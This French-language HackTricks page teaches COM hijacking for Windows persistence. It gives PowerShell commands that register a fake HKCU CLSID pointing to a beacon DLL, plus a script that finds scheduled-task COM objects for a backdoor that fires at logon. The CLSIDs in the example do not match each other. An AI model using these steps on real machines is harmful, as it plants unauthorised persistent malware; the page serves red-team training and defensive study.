COM Hijacking
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Recherche de composants COM inexistants
Comme les valeurs de HKCU peuvent ĂȘtre modifiĂ©es par les utilisateurs, COM Hijacking pourrait ĂȘtre utilisĂ© comme un mĂ©canisme persistant. En utilisant procmon
, il est facile de trouver des enregistrements COM recherchés qui n'existent pas et qu'un attaquant pourrait créer pour persister. Filtres :
- Opérations RegOpenKey.
- oĂč le RĂ©sultat est NOM NON TROUVĂ.
- et le Chemin se termine par InprocServer32.
Une fois que vous avez dĂ©cidĂ© quel COM inexistant imiter, exĂ©cutez les commandes suivantes. Soyez prudent si vous dĂ©cidez d'imiter un COM qui est chargĂ© toutes les quelques secondes, car cela pourrait ĂȘtre excessif.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Composants COM du Planificateur de tùches détournables
Les tĂąches Windows utilisent des dĂ©clencheurs personnalisĂ©s pour appeler des objets COM et, comme elles sont exĂ©cutĂ©es via le Planificateur de tĂąches, il est plus facile de prĂ©dire quand elles vont ĂȘtre dĂ©clenchĂ©es.
# Afficher les CLSIDs COM
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Nom de la tĂąche : " $Task.TaskName
Write-Host "Chemin de la tĂąche : " $Task.TaskPath
Write-Host "CLSID : " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Sortie d'exemple :
# Nom de la tĂąche : Exemple
# Chemin de la tĂąche : \Microsoft\Windows\Example\
# CLSID : {1936ED8A-BD93-3213-E325-F38D112938E1}
# [plus comme le précédent...]
En vĂ©rifiant la sortie, vous pouvez en sĂ©lectionner une qui va ĂȘtre exĂ©cutĂ©e Ă chaque fois qu'un utilisateur se connecte, par exemple.
Maintenant, en recherchant le CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} dans HKEY\CLASSES\ROOT\CLSID et dans HKLM et HKCU, vous constaterez généralement que la valeur n'existe pas dans HKCU.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Ensuite, vous pouvez simplement créer l'entrée HKCU et chaque fois que l'utilisateur se connecte, votre porte dérobée sera activée.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.